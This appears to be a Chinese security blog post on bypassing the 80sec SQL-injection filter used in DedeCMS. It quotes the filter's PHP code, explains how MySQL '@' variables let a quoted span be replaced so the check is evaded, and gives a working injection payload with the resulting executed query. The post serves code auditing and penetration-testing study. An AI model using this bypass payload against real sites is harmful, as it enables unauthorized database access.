【渗透】关于80sec防注入绕过

知识点:

在Mysql当中,定义变量用@字符,可以用set @a='abc',来为变量赋值,然后通过select @a来进行取值

在这里插入图片描述
通过上面的了解,可以直接定义一个空值的变量出来,比如 @``,结果如下:
在这里插入图片描述

80Ssec过滤代码:

	//SQL语句过滤程序,由80sec提供,这里作了适当的修改
    function CheckSql($sql, $querytype='select')
    {
        $clean   = '';
        $error   = '';
		$pos     = -1;
        $old_pos = 0;


        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype == 'select')
        {
            if(preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql))
            {
				$this->DisplayError("$sql||SelectBreak",1);
            }
        }

        //完整的SQL检查
        while(true)
        {
            $pos = strpos($sql, '\'', $pos + 1); //不存在单引号就跳出
            if($pos === false)
            {
                break;
            }
            $clean .= substr($sql, $old_pos, $pos - $old_pos);

            while(true)
            {
                $pos1 = strpos($sql, '\'', $pos + 1);
                $pos2 = strpos($sql, '\\', $pos + 1);
                if($pos1 === false)
                {
                    break;
                }
                else if($pos2 == false || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }

            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        ...

这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用 @' 放入sql语句当中,帮助我们绕过防注入程序检查,这两个也可以进行使用:@'@,"'"在这里插入图片描述

在审计的时候遇到一个整形的注入点,该如何绕过(gpc开启的状态下,其实这里开不开都无所谓,因为dede中自己也会进行对应的处理的)?如下的代码可以知道,当被两边单引号包裹的地方会被替换为$s$

注入绕过语句:1 or @' and (select length(database())=11)#’

过滤处理后的语句:select XXXX from XX_station_letters where id = 1 or @`$s$ order by createdtime desc

最后执行的语句:SELECT XXXX FROM XX_station_letters where id = 1 or @' and (select length(database())=11)

在这里插入图片描述@'和 #’ 来配合包裹对中间的语句作为 s s s处理直接绕过了80sec注入,然后右边又是一个注释符过滤了单引号

引用:
https://www.cnblogs.com/milantgh/p/3670208.html
https://www.isolves.com/it/aq/fwq/2019-12-11/9754.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值